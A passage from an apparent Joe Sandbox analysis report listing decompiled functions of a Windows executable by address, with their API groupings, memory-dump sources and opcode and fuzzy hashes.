                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateObjectStock
                                                          • String ID: SysMonthCal32
                                                          • API String ID: 2671490118-1439706946
                                                          • Opcode ID: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
                                                          • Instruction ID: 279992be25ea6f28840e795d0b47df419962d3f4acdfeb03a895328f45797500
                                                          • Opcode Fuzzy Hash: fd789cdfff50be9b4411109bcad662b9f9b7c83045e67513290be4d4cd92b5f4
                                                          • Instruction Fuzzy Hash: 01416F326096C287E370CF55E444B9AB7A0F789790F504225EA9D47A99DF3CD8858F40
                                                          Function 00007FF6A541B798 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateDestroyObjectStock
                                                          • String ID: msctls_updown32
                                                          • API String ID: 1752125012-2298589950
                                                          • Opcode ID: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
                                                          • Instruction ID: b02a4ed115058c0c9d4b106d72218518fa29dafa464bcbd9d3dad838da4616ce
                                                          • Opcode Fuzzy Hash: 74e3ad92c2baccfb6081841c4f4ce29bd6f6c1edab28d3e774f2eecd82cc7261
                                                          • Instruction Fuzzy Hash: 1B31B276A19B8596EB60CF15E4403AA7361FBC6F95F108136DA8D87B98CF3CD855CB00
                                                          Function 00007FF6A541A1F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateMoveObjectStock
                                                          • String ID: Listbox
                                                          • API String ID: 3747482310-2633736733
                                                          • Opcode ID: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
                                                          • Instruction ID: 3ea6f1a13d046299bda6523afecdb40768e76f148eb7656be8dd205d9dac78c4
                                                          • Opcode Fuzzy Hash: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
                                                          • Instruction Fuzzy Hash: C73138366197C186E770CF16B444B5AB7A1F789BA0F508225EAA943B98CF3DD895CF00
                                                          Function 00007FF6A53F4DF8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorMode$InformationVolume
                                                          • String ID: %lu
                                                          • API String ID: 2507767853-685833217
                                                          • Opcode ID: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
                                                          • Instruction ID: 95ffee8b41b8b7b02323d92d01e5aca6eb8e349d9bc941437bfc065c0e6d3a8d
                                                          • Opcode Fuzzy Hash: 672d97fc72a5ca8b35a6a563d603e89b9dfb37273f5f93e5ec3f9e9d545e6ea4
                                                          • Instruction Fuzzy Hash: 44315E72A19F8695DB10DB16E4801ADB7A1FB8AFC0F404035EA8D87B65DF7CD995C700
                                                          Function 00007FF6A541B104 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CreateObjectStockWindow
                                                          • String ID: msctls_trackbar32
                                                          • API String ID: 1025951953-1010561917
                                                          • Opcode ID: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
                                                          • Instruction ID: d639eae588c03898d90ef2f25da366696902c76bfa71abb929993f8bd76030ba
                                                          • Opcode Fuzzy Hash: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
                                                          • Instruction Fuzzy Hash: E8310732A1968187E760CF15E444B5AB7A1FB89B90F104239EB9D87B54CF3CD845CF04
                                                          Function 00007FF6A53DF5CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows
                                                          • String ID: %s%d
                                                          • API String ID: 2330185562-1110647743
                                                          • Opcode ID: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
                                                          • Instruction ID: c349fd5d8e9a23179d97d2030679d79c2f1e7c08c4f3a62e46e49da37e5a90f1
                                                          • Opcode Fuzzy Hash: 4f7089e3504d96f16b1fb726daf46c0f00a77062a3aa85cf481a60796f0195a0
                                                          • Instruction Fuzzy Hash: 84215372B1AB8292EA14DB12E4842FE6361FF8AFC0F548431DE9D87755EE2CE905C700
                                                          Function 00007FF6A5398782 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
                                                          • String ID: csm
                                                          • API String ID: 2280078643-1018135373
                                                          • Opcode ID: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
                                                          • Instruction ID: 4ff941c1430ad97b1612cd25405a4520566f480e2a0d2b900608924b8c75df00
                                                          • Opcode Fuzzy Hash: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
                                                          • Instruction Fuzzy Hash: 07210B7661AA41C2E631DF12E4501AEB7A1F7C6FA4F000226DE9D83795DF3CE886CB00
                                                          Function 00007FF6A5376D64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                          • API String ID: 2574300362-3689287502
                                                          • Opcode ID: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
                                                          • Instruction ID: 8c21390b2340fd6d501527ea1369f9c0df32f8b3fc329f44485010841c07a46d
                                                          • Opcode Fuzzy Hash: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
                                                          • Instruction Fuzzy Hash: 2DE0C961D16F1682EB14CB11E4283B823A4FB59F58F440435C91DC5354EF7CAE94C340
                                                          Function 00007FF6A54110C8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: RegDeleteKeyExW$advapi32.dll
                                                          • API String ID: 2574300362-4033151799
                                                          • Opcode ID: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
                                                          • Instruction ID: deae7215bd50fe48a50d5233f48c492184a5ca6e1a955e79ed52813cac5827d2
                                                          • Opcode Fuzzy Hash: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
                                                          • Instruction Fuzzy Hash: D7E0C221A06B1682EB14CB60A41436863A0FB19F59F481435C91DC6350EFBCDAA9C340
                                                          Function 00007FF6A5376D1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                          • API String ID: 2574300362-1355242751
                                                          • Opcode ID: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
                                                          • Instruction ID: b8c6c97c4d2baa609de8cf5c33b75d35a039056f8f9c1210548047deab0dcf6a
                                                          • Opcode Fuzzy Hash: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
                                                          • Instruction Fuzzy Hash: B3E0C961D16B1682EB15CB11E4243B823A0FB59F58F440434D91DC5368EF7C9A948340
                                                          Function 00007FF6A5407634 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: GetModuleHandleExW$kernel32.dll
                                                          • API String ID: 2574300362-199464113
                                                          • Opcode ID: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
                                                          • Instruction ID: c61f66a982e0fc21026901175cf398fc2b2ea7e372154f2b0017c95d2ce2ef74
                                                          • Opcode Fuzzy Hash: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
                                                          • Instruction Fuzzy Hash: 66E0C921A06B0682EF14CB24A85436823A0FB29F59F940835D91DC6354EF7CD998C340
                                                          Function 00007FF6A53E32F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: AddressLibraryLoadProc
                                                          • String ID: GetNativeSystemInfo$kernel32.dll
                                                          • API String ID: 2574300362-192647395
                                                          • Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
                                                          • Instruction ID: 5ce0af70638b312ad0b4653f4505811218518e9e6d1469170cbc30131a9e59c3
                                                          • Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
                                                          • Instruction Fuzzy Hash: BCE0C96191AB0281EB14CB54B4143A823E0FB5AF59F840475C91DC5354EFBCED94C340
                                                          Function 00007FF6A53DB7E4 Relevance: 6.3, APIs: 4, Instructions: 299COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
                                                          • Instruction ID: 58968ec8bc589c08db75958a05befd38129bb5a7222692d72dcb45f9a2099759
                                                          • Opcode Fuzzy Hash: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
                                                          • Instruction Fuzzy Hash: 4AD1F567B15B9686EB14CF26C4602AC37B0FB89F88B118826DF4D87B58EF39D854C710
                                                          Function 00007FF6A541D88C Relevance: 6.1, APIs: 4, Instructions: 134windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$ClientMessageMoveRectScreenSend
                                                          • String ID:
                                                          • API String ID: 1249313431-0
                                                          • Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
                                                          • Instruction ID: 7156ab2ca0e5c4404922bc9d7474b89da1f703c350fc4a94b9d173de2e95e729
                                                          • Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
                                                          • Instruction Fuzzy Hash: 5451AC76A16A528AEB50CF25D4806BD3761FB85F98F504232DE2E93784DF39EC91C310
                                                          Function 00007FF6A54043C8 Relevance: 6.1, APIs: 4, Instructions: 126networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$socket
                                                          • String ID:
                                                          • API String ID: 1881357543-0
                                                          • Opcode ID: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
                                                          • Instruction ID: 43d111fc765c07ad839fe1f8ede50c4e9efcc86b316c9f81952d842fe5b6f306
                                                          • Opcode Fuzzy Hash: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
                                                          • Instruction Fuzzy Hash: BE41A321B1AA8286DB14DF12E44067D6790FB86FE0F444535DE1EDBB96DF3CD8018740
                                                          Function 00007FF6A541F014 Relevance: 6.1, APIs: 4, Instructions: 107windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Rect$BeepClientMessageScreenWindow
                                                          • String ID:
                                                          • API String ID: 1352109105-0
                                                          • Opcode ID: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
                                                          • Instruction ID: fe73ae677e4a461d96e0c155368b26895a0553b83b9680cb495123f7c162a020
                                                          • Opcode Fuzzy Hash: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
                                                          • Instruction Fuzzy Hash: 0F417C36A0AB4696EB50CF59D88467937A0FB85F94F654135CA5DC33A0DF38EC52C720
                                                          Function 00007FF6A541AA04 Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Menu$Item$DrawInfoInsert
                                                          • String ID:
                                                          • API String ID: 3076010158-0
                                                          • Opcode ID: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
                                                          • Instruction ID: 82b217caf9fdc18f902f5ff6881570eeef6cfe948422bea3823205677dee91bf
                                                          • Opcode Fuzzy Hash: 770ae648199355dfd02d8249b0e6024aefb4e9674bbaddc28923590af2170785
                                                          • Instruction Fuzzy Hash: 41414836A06B858AEB60CF66D4442AD37A1FB45FA4F244036CF0D97754CF38E8A5C790
                                                          Function 00007FF6A53AC72C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
                                                          • String ID:
                                                          • API String ID: 4141327611-0
                                                          • Opcode ID: a9867840faaecfdaa354c38ff02ada8b7424d64697801e09ff4ff5a4409c6d4e
                                                          • Instruction ID: afb84ff915aace763fec9ebbc396aa18078d6f266c9539531a18f72b5fda6aad
